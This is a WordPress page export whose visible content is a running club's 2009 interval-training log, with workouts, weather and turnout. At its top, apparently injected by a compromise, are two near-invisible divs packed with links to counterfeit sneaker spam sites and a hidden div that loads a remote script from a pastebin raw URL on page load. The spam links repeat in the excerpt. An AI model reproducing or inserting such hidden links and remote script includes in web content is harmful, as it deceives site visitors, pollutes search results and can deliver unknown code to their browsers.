{"id":156,"date":"2010-05-01T11:25:30","date_gmt":"2010-05-01T18:25:30","guid":{"rendered":"http:\/\/gospartans.org\/?page_id=156"},"modified":"2017-02-04T22:31:51","modified_gmt":"2017-02-05T06:31:51","slug":"2009-2","status":"publish","type":"page","link":"https:\/\/gospartans.org\/?page_id=156","title":{"rendered":"2009"},"content":{"rendered":"<div class=\"_all_wplink_42PjORRh_cc\" style=\"position:absolute;opacity:0.001;z-index:10;filter:alpha(opacity=0)\"><a href=\"http:\/\/www.medicina99.ru\/yeezy-boost-350-v2-black-canada.html\">yeezy boost 350 v2 black red buy<\/a><a href=\"http:\/\/kenhsex.pro\/yeezy-boost-350-v2-black-raffle-online.html\">yeezy boost 350<\/a><a href=\"https:\/\/www.mjps.org.uk\/yeezy-350-v2-black-red-uk-sale.html\">yeezy boost 350<\/a><a href=\"http:\/\/www.retseptik.com\/adidas-yeezy-boost-v2-triple-white-2017.html\">yeezy boost 350 triple white buy<\/a><a href=\"http:\/\/www.taktamovie.com\/yeezy-boost-350-v2-white-online.html\">yeezy boost 350 for sale<\/a><a href=\"http:\/\/olivewoodgardens.org\/yeezy-boost-350-v2-black-copper.html\">Adidas Yeezy Boost 350 V2 Black Copper<\/a><a href=\"http:\/\/www.ulkuocaklari.org.tr\/yeezyboost.html\">yeezy boost 350<\/a><a href=\"http:\/\/j33x.com\/yeezyboost\/\">yeezy boost 350<\/a><a href=\"http:\/\/blogs.welingkar.org\/yeezy350sale.html\">yeezy boost 350 v2<\/a><a href=\"http:\/\/bebalanced.uk.com\/yeezy-boost-350-v2-2017\/\">adidas yeezy boost 350 v2 uk<\/a><a href=\"http:\/\/www.skybluefc.com\/adidas-yeezys.php\">yeezy boost 350<\/a><a href=\"http:\/\/www.redpathmining.com\/Yeezy350V2Black.php\">yeezy boost 350 v2 black<\/a><a href=\"http:\/\/www.missionmotorsport.org\/CP9652-yeezy.php\">yeezy boost 350 v2 black red<\/a><a href=\"http:\/\/partners.caring.com\/wp-v2-yeezy.php\">yeezy boost 350 v2 black red buy<\/a><\/div>\n<div class=\"_all_wplink_ifisEmmL_cc\" style=\"position:absolute;opacity:0.001;z-index:10;filter:alpha(opacity=0)\"><a href=\"http:\/\/yeezyboost350v2s.us.com\">adidas yeezy boost 350<\/a><\/div>\n<div style=\"display:none\"><script language=\"javascript\" type=\"text\/javascript\" src=\"http:\/\/pastebin.com\/raw.php?i=f4Rv9vKp\"><\/script><\/div>\n<p>12\/30\/09 Wed &#8211; 2&#215;1,200; 1,600; 2&#215;1,200 = 4 mi; mid 50&#8217;s; 2 ran<br \/>\n12\/28\/09 Mon &#8211; Rain<br \/>\n12\/23\/09 Wed &#8211; sprinting through the malls Christmas shopping<br \/>\n12\/21\/09 Mon &#8211; 6&#215;800 = 3 mi;<br \/>\n12\/16\/09 Wed &#8211; 4&#215;1,600 = 4 mi; hi 50&#8217;s; 6 ran<br \/>\nbegin full 3 mile Mondays and 4 mile Wednesdays<br \/>\n12\/14\/09 Mon &#8211; 3&#215;800; 400; 2&#215;800 = 2 3\/4 mi; lo 50&#8217;s; 5 ran<br \/>\n12\/09\/09 Wed &#8211; 2&#215;1,600; 1,200; 1,600 = 3 3\/4 mi; mid 40&#8217;s; 7 ran<br \/>\n12\/07\/09 Mon &#8211; rain; 3 ran<br \/>\n12\/02\/09 Wed &#8211; 1,600; 1,200; 1,200; 1,600 = 3 1\/2 mi; lo 50&#8217;s; 5 ran<br \/>\n11\/30\/09 Mon &#8211; 2x(800; 600; 800) = 2 3\/4 mi; hi 50&#8217;s; 4 ran<br \/>\n11\/25\/09 Wed &#8211; 1,600; 3&#215;800; 1,600 = 3 1\/2 mi;lo 60&#8217;s; 1 ran<br \/>\n11\/23\/09 Mon &#8211; 2&#215;800; 2&#215;400; 2&#215;800 = 2 1\/2 mi; lo 60&#8217;s; 6 ran<br \/>\n11\/18\/09 Wed &#8211; 1,600; 1,200; 800; 1,600 = 3 1\/4 mi; hi 50&#8217;s; 9 ran<br \/>\n11\/16\/09 Mon &#8211; 5&#215;800 = 2 1\/2 mi; lo 60&#8217;s; 6 ran<br \/>\n11\/11\/09 Wed &#8211; 2&#215;1,200; 1,600; 1,200 = 3 1\/4 mi; lo 60&#8217;s 10 ran<br \/>\n11\/09\/09 Mon &#8211; 3x(600; 400); 600 = 2 1\/4 mi; lo 60&#8217;s; 8 ran<br \/>\n11\/04\/09 Wed &#8211; 2x(800; 1,200); 800 = 3 mi; mid 60&#8217;s; 11 ran<br \/>\n11\/02\/09 Mon &#8211; 3&#215;400; 2&#215;600; 3&#215;400 = 2 1\/4 mi; mid 60&#8217;s; 4 ran<br \/>\nswitch to slower, longer intervals, begin increasing total miles; short recovery.<\/p>\n<p><!--more--><\/p>\n<p>10\/28\/09 Wed &#8211; 8&#215;600 = 3 mi; lo 60&#8217;s, lt breeze; 9 ran<br \/>\n10\/26\/09 Mon &#8211; 2x(400; 300; 200; 300; 400) = 2 mi; hi 60&#8217;s; 10 ran<br \/>\n10\/21\/09 Wed &#8211; 6&#215;800 = 3 mi; lo 70&#8217;s, calm; 8 ran<br \/>\n10\/19\/09 Mon &#8211; RAIN<br \/>\n10\/14\/09 Wed &#8211; 2&#215;800; 4&#215;400; 2&#215;800 = 3 mi; mid 70&#8217;s, calm; 9 ran<br \/>\n10\/12\/09 Mon &#8211; 2&#215;400; 4x(300, 50 jog, 150 sprint); 2&#215;400 = 2.1 mi; lo 70&#8217;s; 8 ran<br \/>\n10\/07\/09 Wed &#8211; 4x(800&#215;400) = 3 mi; lo 70&#8217;s, lt wind; 10 ran<br \/>\n10\/05\/09 Mon &#8211; 400; 4x(400; 200); 400 = 2 mi; lo 60&#8217;s, lt wind; 8 ran<br \/>\n09\/30\/09 Wed &#8211; 8&#215;600 = 3 mi; lo 70&#8217;s; 10 ran<br \/>\n09\/28\/09 Mon &#8211; 8&#215;400 = 2 mi; lo 70&#8217;s; 8 ran<br \/>\n09\/23\/09 Wed &#8211; 800; 600; 400; 300; 3&#215;200; 300; 400; 600; 800 = 3 mi; mid 80&#8217;s; 11 ran<br \/>\n09\/21\/09 Mon &#8211; 3&#215;400; 4&#215;200; 3&#215;400 = 2 mi; mid 80&#8217;s; 13 ran<br \/>\n09\/16\/09 Wed &#8211; 6&#215;800 = 3 mi; lo 80&#8217;s; 9 ran<br \/>\n09\/14\/09 Mon &#8211; 2&#215;400; 4x(300, 50 jog, 150 sprint); 2&#215;400 = 2.1 mi; mid 80&#8217;s; 5 ran<br \/>\nSwitch to fast paced, shorter, intervals, long recovery<br \/>\n09\/09\/09 Wed &#8211; 4&#215;1,200 = 3 mi; mid 80&#8217;s; 9 ran<br \/>\n09\/07\/09 Mon &#8211; Labor Day; 2&#215;600; 800; 2&#215;600 = 2 mi; mid 70&#8217;s; 8 ran<br \/>\n09\/02\/09 Wed &#8211; 3&#215;1,600 = 3 mi; hi 80&#8217;s; 14 ran<br \/>\n08\/31\/09 Mon &#8211; 4&#215;800 = 2 mi; hi 80&#8217;s; 12 ran<br \/>\n08\/26\/09 Wed &#8211; 2x(800;1,200); 800 = 3 mi; lo 70&#8217;s; 12 ran<br \/>\n08\/24\/09 Mon &#8211; 2x(600; 400; 600) = 2 mi; lo 70&#8217;s; 7 ran<br \/>\n08\/19\/09 Wed &#8211; 4&#215;1,200 = 3 mi; mid 70&#8217;s; 11 ran<br \/>\n08\/17\/09 Mon &#8211; 800; 4&#215;600 = 2 mi;mid 70&#8217;s; 6 ran<br \/>\n08\/12\/09 Wed &#8211; 800; 2&#215;1,200; 1,600= 3 mi; lo 80&#8217;s 4 ran<br \/>\n08\/10\/09 Mon &#8211; 4&#215;800 = 2 mi; mid 80&#8217;s; 6 ran<br \/>\n08\/05\/09 Wed &#8211; 3&#215;1,600 = 3 mi; lo 70&#8217;s; 7 ran<br \/>\n08\/03\/09 Mon &#8211; 800; 600; 400; 600; 800 = 2 mi; lo 70&#8217;s; 7 ran<br \/>\nSwitch to longer, faster paced intervals, longer recovery<br \/>\n07\/29\/09 Wed &#8211; 800; 2&#215;600; 2&#215;400; 2&#215;600; 800 = 3 mi; lo 70&#8217;s; 7 ran<br \/>\n07\/27\/09 Mon &#8211; 8&#215;400 = 2 mi; lo 70&#8217;s; 7 ran<br \/>\n07\/22\/09 Wed &#8211; 4&#215;1,200 = 3 mi; mid 80&#8217;s;<br \/>\n07\/20\/09 Mon &#8211; 800; 400; 4&#215;200; 400; 800 = 2 mi; mid 80&#8217;s; 6 ran<br \/>\n07\/15\/09 Wed &#8211; 800; 600; 5&#215;400; 600; 800 = 3 mi; lo 80&#8217;s; 7 ran<br \/>\n07\/13\/09 Mon &#8211; 2&#215;400; 4x(300, 50 jog, 150 sprint); 2&#215;400 = 2.1 mi; lo 80&#8217;s; 7 ran<br \/>\n07\/08\/09 Wed &#8211; 8&#215;600 = 3 mi; lo 70&#8217;s 11 ran<br \/>\n07\/06\/09 Mon &#8211; 600; 5&#215;400; 600 = 2 mi; lo 70&#8217;s; 5 ran<br \/>\n07\/01\/09 Wed &#8211; 6&#215;800 = 3 mi; mid 70&#8217;s; 5 ran<br \/>\n06\/29\/09 Mon &#8211; 800; 2x(400; 2&#215;200; 400) = 2 mi; hi 70&#8217;s; 7 ran<br \/>\n06\/24\/09 Wed &#8211; 2&#215;800; 4&#215;400; 2&#215;800= 3 mi; lo 80&#8217;s; 8 ran<br \/>\n06\/22\/09 Mon &#8211; 8&#215;400 = 2 mi; hi 70&#8217;s; 6 ran<br \/>\n06\/17\/09 Wed &#8211; 800; 600; 400; 300; 3&#215;200; 300; 400; 600; 800= 3 mi; lo 70&#8217;s; 8 ran<br \/>\n06\/15\/09 Mon &#8211; 2&#215;400; 4x(300, 50 jog, 150 sprint); 2&#215;400 = 2.1 mi; hi 60&#8217;s, windy; 6 ran<br \/>\n06\/10\/09 Wed &#8211; 1,200; 800; 2&#215;400; 800; 1,200 = 3 mi; hi 60&#8217;s, lt wind; 7 ran<br \/>\n06\/08\/09 Mon &#8211; 600; 2&#215;400; 2&#215;200; 2&#215;400; 600 = 2 mi; hi 60&#8217;s wind; 8 ran<br \/>\n06\/03\/09 Wed &#8211; 800; 2&#215;600; 2&#215;400; 2&#215;600; 800 = 3 mi; lt wind, lo 70&#8217;s; 8 ran<br \/>\n06\/01\/09 Mon &#8211; 2&#215;400; 4x(300, 50 jog, 150 sprint); 2&#215;400 = 2.1 mi; lo 70&#8217;s; 6 ran<br \/>\n05\/27\/09 Wed &#8211; 6&#215;800 = 3 mi; lo 70&#8217;s; 10 ran<br \/>\n05\/25\/09 Mon &#8211; Memorial Day 2&#215;1,600 = 2 mil; lo 70&#8217;s; 1 ran<br \/>\n05\/20\/09 Wed &#8211; 4x(800; 400) = 3 mi; hi 60&#8217;s; 8 ran<br \/>\n05\/18\/09 Mon &#8211; 4&#215;800 = 2 mi; 70&#8217;s; 10 ran<br \/>\n05\/13\/09 Wed &#8211; 2&#215;800; 4&#215;400; 2&#215;800 = 3 mi; lo 70&#8217;s lite wind; 9 ran<br \/>\n05\/11\/09 Mon &#8211; 600; 5&#215;400; 600 = 2 mi; lo 70&#8217;s, lite wind; 10 ran<br \/>\n05\/06\/09 Wed &#8211; odds and ends (HS track meet delayed start)<br \/>\n05\/04\/09 Mon &#8211; 800; 4&#215;400; 800 = 2 mi;lo 70&#8217;s, lite wind; 5 ran<br \/>\nSwitch to less and shorter, faster paced intervals, longer recovery<br \/>\n04\/29\/09 Wed &#8211; 1,600; 1,200; 800; 1,200; 1,600 = 4 mi; lo 60&#8217;s windy; 6 ran<br \/>\n04\/27\/09 Mon &#8211; 2&#215;800; 600; 400; 600; 2&#215;800 = 3 mi; hi 50&#8217;s windy; 6 ran<br \/>\n04\/22\/09 Wed &#8211; 2x(1,200; 800; 1,200) = 4 mi; mid 80&#8217;s; 7 ran<br \/>\n04\/20\/09 Mon &#8211; 3x(800; 400; 400) = 3 mi; lo 90&#8217;s; 12 ran<br \/>\n04\/15\/09 Wed &#8211; 4&#215;1,600 = 4 mi; lo 80&#8217;s; 8 ran<br \/>\n04\/13\/09 Mon &#8211; 3x(600; 800); 600 = 3 mi; lo 60&#8217;s 13 ran<br \/>\n04\/08\/09 Wed &#8211; 2x(1,600; 800); 1,600 = 4 mi; lo 60&#8217;s; 10 ran<br \/>\n04\/06\/09 Mon &#8211; 12&#215;400 = 3 mi; mid 70&#8217;s; 8 ran<br \/>\n04\/01\/09 Wed &#8211; 2&#215;1,200; 1,600; 2&#215;1,200 = 4 mi; mid 60&#8217;s; 8 ran<br \/>\n03\/30\/09 Mon &#8211; 2&#215;800; 600; 400; 600; 2&#215;800 = 3 mi; mid 60&#8217;s; 10 ran<br \/>\n03\/25\/09 Wed &#8211; 1,600; 1,200; 800; 1,200; 1,600 = 4 mi; hi 60&#8217;s; 9 ran<br \/>\n03\/23\/09 Mon &#8211; 3x(600; 400; 600) = 3 mi; hi 50&#8217;s; 6 ran<br \/>\n03\/18\/09 Wed &#8211; 4&#215;1,600 = 4 mi; lo 60&#8217;s; 10 ran<br \/>\n03\/16\/09 Mon &#8211; 3x(600; 800); 600 = 3 mi; hi 60&#8217;s; 8 ran<br \/>\n03\/11\/09 Wed &#8211; 1,600; 1,200; 800; 1,200; 1,600 = 4 mi; lo 60&#8217;s; 5 ran<br \/>\n03\/09\/09 Mon &#8211; 6&#215;800 = 3 mi; mid 60&#8217;s; 10 ran<br \/>\n03\/04\/09 Wed &#8211; 2x(1,600; 800); 1,600 = 4 mi; lo 60&#8217;s 10 ran<br \/>\n03\/02\/09 Mon &#8211; 6&#215;800 = 3 mi; hi 50&#8217;s, lite rain; 1 ran<br \/>\n02\/25\/09 Wed &#8211; 2&#215;1,200; 1,600; 2&#215;1,200 = 4 mi; hi 50&#8217;s; 4 ran<br \/>\n02\/23\/09 Mon &#8211; 3x(600; 400; 600) = 3 mi; hi 50&#8217;s; 7 ran<br \/>\n02\/18\/09 Wed &#8211; 4&#215;1,600 = 4 mi; hi 50&#8217;s; 8 ran<br \/>\n02\/16\/09 Mon &#8211; Rain<br \/>\n02\/11\/09 Wed &#8211; Rain<br \/>\n02\/09\/09 Mon &#8211; 2&#215;800; 600; 400; 600; 2&#215;800 = 3 mi; hi 40&#8217;s, breezy; 5 ran<br \/>\n02\/04\/09 Wed &#8211; 1,600; 1,200; 800; 1,200; 1,600 = 4 mi; lo 60&#8217;s; 4 ran<br \/>\n02\/02\/09 Mon &#8211; 2&#215;600; 3&#215;800; 2&#215;600 = 3 mi; hi 50&#8217;s; 6 ran<br \/>\n01\/28\/09 Wed &#8211; 2x(1,600; 800); 1,600 = 4 mi; mid 50&#8217;s 3 ran<br \/>\n01\/26\/09 Mon &#8211; 6&#215;800 = 3 mi; lo 50&#8217;s; 4 ran<br \/>\n01\/21\/09 Wed &#8211; Rain<br \/>\n01\/19\/09 Mon &#8211; 3x(600; 800); 600 = 3 mi; lo 60&#8217;s; 6 ran<br \/>\n01\/14\/09 Wed &#8211; 4&#215;1,600 = 4 mi; hi 60&#8217;s; 6 ran<br \/>\n01\/12\/09 Mon &#8211; 2&#215;600; 3&#215;800; 2&#215;600 = 3 mi; hi 60&#8217;s; 7 ran<br \/>\n01\/07\/09 Wed &#8211; 2&#215;1,200; 1,600; 2&#215;1,200= 4 mi; lo 50&#8217;s; 5 ran<br \/>\n01\/05\/09 Mon &#8211; individual choices = 3 mi; lo 50&#8217;s, lt mist; 4 ran<\/p>\n","protected":false},"excerpt":{"rendered":"<p>yeezy boost 350 v2 black red buyyeezy boost 350yeezy boost 350yeezy boost 350 triple white buyyeezy boost 350 for saleAdidas Yeezy Boost 350 V2 Black Copperyeezy boost 350yeezy boost 350yeezy boost 350 v2adidas yeezy boost 350 v2 ukyeezy boost 350yeezy &hellip; <a href=\"https:\/\/gospartans.org\/?page_id=156\">Continue reading <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"parent":136,"menu_order":45,"comment_status":"closed","ping_status":"closed","template":"","meta":{"jetpack_post_was_ever_published":false,"footnotes":""},"class_list":["post-156","page","type-page","status-publish","hentry"],"jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/PUWdT-2w","_links":{"self":[{"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/pages\/156","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/gospartans.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=156"}],"version-history":[{"count":38,"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/pages\/156\/revisions"}],"predecessor-version":[{"id":1650,"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/pages\/156\/revisions\/1650"}],"up":[{"embeddable":true,"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/pages\/136"}],"wp:attachment":[{"href":"https:\/\/gospartans.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=156"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}